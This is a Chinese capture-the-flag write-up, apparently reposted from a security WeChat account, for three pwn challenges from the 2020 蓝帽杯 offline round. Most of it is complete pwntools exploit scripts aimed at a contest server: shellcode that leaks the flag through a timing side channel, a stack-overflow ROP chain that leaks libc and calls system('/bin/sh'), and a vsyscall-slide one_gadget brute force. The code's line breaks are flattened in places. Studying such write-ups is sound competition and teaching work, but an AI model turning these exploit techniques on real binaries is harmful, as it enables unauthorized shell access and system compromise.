2020 蓝帽杯线下赛PWN WriteUp

admin 2020年12月31日18:00:50评论185 views字数 4901阅读16分20秒阅读模式
2020 蓝帽杯线下赛PWN WriteUp

2020 蓝帽杯线下赛PWN WriteUp
slient

这个题目很容易看到这是执行shellcode,但是长度最大只有0x40字节。这个题目和天翼杯的safebox的题目类似,都是写入shellcode爆破flag。这里直接用的天翼杯2020_wp_by_LQers中的shellcode。

# encoding=utf-8from pwn import *
file_path = "./chall"context.arch = "amd64"# context.log_level = "debug"context.terminal = ['tmux', 'splitw', '-h']elf = ELF(file_path)debug = 0# if debug:# p = process([file_path])# gdb.attach(p, "b *$rebase(0xC94)")# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')# one_gadget = 0x0## else:# p = remote('', 0)# libc = ELF('')# one_gadget = 0x0

def pwn(p, index, ch):
read_next = "xor rax, rax; xor rdi, rdi;mov rsi, 0x10100;mov rdx, 0x300;syscall;" # open shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"
# re open, rax => 4 shellcode += "push 2; pop rax; syscall;"
# read(rax, 0x10040, 0x50) shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"
# cmp and jz if index == 0: shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch) else: shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)
shellcode = asm(shellcode)
# p.sendlineafter("execution-box.n", read_next.ljust(0x30))
p.sendafter("execution-box.n", shellcode.ljust(0x40 - 14, b'a') + b'./flag')

index = 0ans = []while True: for ch in range(0x20, 127): if debug: p = process([file_path]) else: p = remote('8.131.246.36', 40334) pwn(p, index, ch) start = time.time() try: p.recv(timeout=2) except: pass end = time.time() p.close() if end - start > 1.5: ans.append(ch) print("".join([chr(i) for i in ans])) break else: print("".join([chr(i) for i in ans])) break index = index + 1 print(ans)
print("".join([chr(i) for i in ans]))


2020 蓝帽杯线下赛PWN WriteUp
fuantoie

这个题目在edit,show函数中很多扰乱视线的东西,add,delete函数很容易就可以分析出来,并不存在漏洞。因此漏洞主要集中于edit,show这两个函数中。

经过手动测试和分析发现漏洞位于0x4011F1函数中

2020 蓝帽杯线下赛PWN WriteUp

这里snprintf函数的返回结果是我们输入的字符串的长度,也就是input_200_buf字符串数组中的长度。因此结合后面的for循环就可以进行栈溢出。但是程序开启了canary。这里就需要绕过一下,输入+/-即可。构造rop泄漏出libc地址之后,直接rop执行system("/bin/sh")即可。

在构造的时候需要注意的一点就是,这里写入的是%d也就是四字节,因此对于一个地址我们需要分两次写入。

# encoding=utf-8from pwn import *
file_path = "./pwn"context.arch = "amd64"context.log_level = "debug"context.terminal = ['tmux', 'splitw', '-h']elf = ELF(file_path)debug = 0if debug: p = process([file_path]) gdb.attach(p, "b *0x04012A2nb *0x401287") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0
else: p = remote('8.131.246.36', 15823) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0

def add(size): p.sendlineafter(">> ", "1") p.sendlineafter("size?n", str(size))

def delete(index): p.sendlineafter(">> ", "2") p.sendlineafter("index ?n", str(index))

def edit(index, content, test): p.sendlineafter(">> ", "3") p.sendlineafter("index ?n", str(index)) p.sendafter("new content ?n", content) p.sendlineafter("pass some test firstn", str(test))

def show(index): p.sendlineafter(">> ", "4") p.sendlineafter("index ?n", str(index))

p_rdi_r = 0x0000000000401763start = 0x400750
payload = "+n"*38payload += str(p_rdi_r) + "n0n"payload += str(elf.got['puts']) + "n0n" + str(elf.plt['puts']) + "n0n"payload += str(start) + "n0n"
show(22)p.sendlineafter("boyn", "a"*(38 + 8 - 1))p.sendlineafter("lon", payload)
libc.address = u64(p.recvline().strip(b"n").ljust(8, b"x00")) - libc.sym['puts']
bin_sh_address = libc.search(b"/bin/shx00").__next__()system_address = libc.sym['system']
payload = "+n"*38payload += str(p_rdi_r) + "n0n"payload += str(bin_sh_address & 0xffffffff) + "n"payload += str(bin_sh_address >> 32)+"n"payload += str(system_address & 0xffffffff) + "n"payload += str(system_address >> 32) + "n"payload += str(start) + "n0n"
show(22)log.success("libc address is {}".format(hex(libc.address)))p.sendlineafter("boyn", "a"*(38 + 8 - 1))p.sendlineafter("lon", payload)
# add(0x68)# edit(0, "a", 112)# p.sendlineafter("I love you so muchn", "a"*0x200)# p.sendline("a"*112)
p.interactive()


2020 蓝帽杯线下赛PWN WriteUp
simple_canary

很明显的栈溢出漏洞,但是程序开启了pie,由于这里GLIBC<=2.23因此这里可以使用vsyscall作为滑板指令,这里和DASCTF 8月赛类似,我们先来看一下read完毕之后的栈

2020 蓝帽杯线下赛PWN WriteUp

如果此时程序中存在后门的话,我们修改任意一个elf地址的低位指向后门函数,之后利用滑板指令滑到此处即可。但是该程序中并不存在后门。因此这里我采用的是覆写libc_start_main+240为one_gadget进行爆破。这种方式1/(16*16*16)的概率。

# encoding=utf-8from pwn import *
file_path = "./pwn"context.arch = "amd64"context.log_level = "debug"context.terminal = ['tmux', 'splitw', '-h']elf = ELF(file_path)debug = 0if debug: p = process([file_path]) gdb.attach(p, "b *$rebase(0x116e)") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else: p = remote('8.131.246.36', 38989) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
''''root@18491090a044:~/work# one_gadget /lib/x86_64-linux-gnu/libc.so.60x45226 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULLroot@18491090a044:~/work#
20840'''
# one_gadget = 0x45226# 0x7ffff7a0d000--one_gadget = 0xa9b226
while True: try: payload = b'a' * (0x20) + p64(0xdeadbeef) payload += p64(0xffffffffff600000) * 8 payload += p64(one_gadget)[:3] p.sendafter("input something:n", payload) p.sendline("cat flag") p.sendline("cat /flag") res = p.recv() print(res) if b"flag" not in res: raise EOFError break except KeyboardInterrupt: exit() except: p.close() p = remote('8.131.246.36', 38989)

2020 蓝帽杯线下赛PWN WriteUp


- End -
精彩推荐
病毒作者利用破解去广告腾讯视频噱头投递CS后门
入侵检测系列1(下):基于私有协议的加密流量分析思路(Teamviewer篇)
微软和McAfee联合成立“勒索软件特别工作组”
欧洲刑警组织为执法部门推出新的解密平台


2020 蓝帽杯线下赛PWN WriteUp


戳“阅读原文”查看更多内容

本文始发于微信公众号(安全客):2020 蓝帽杯线下赛PWN WriteUp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月31日18:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2020 蓝帽杯线下赛PWN WriteUphttps://cn-sec.com/archives/226898.html

发表评论

匿名网友 填写信息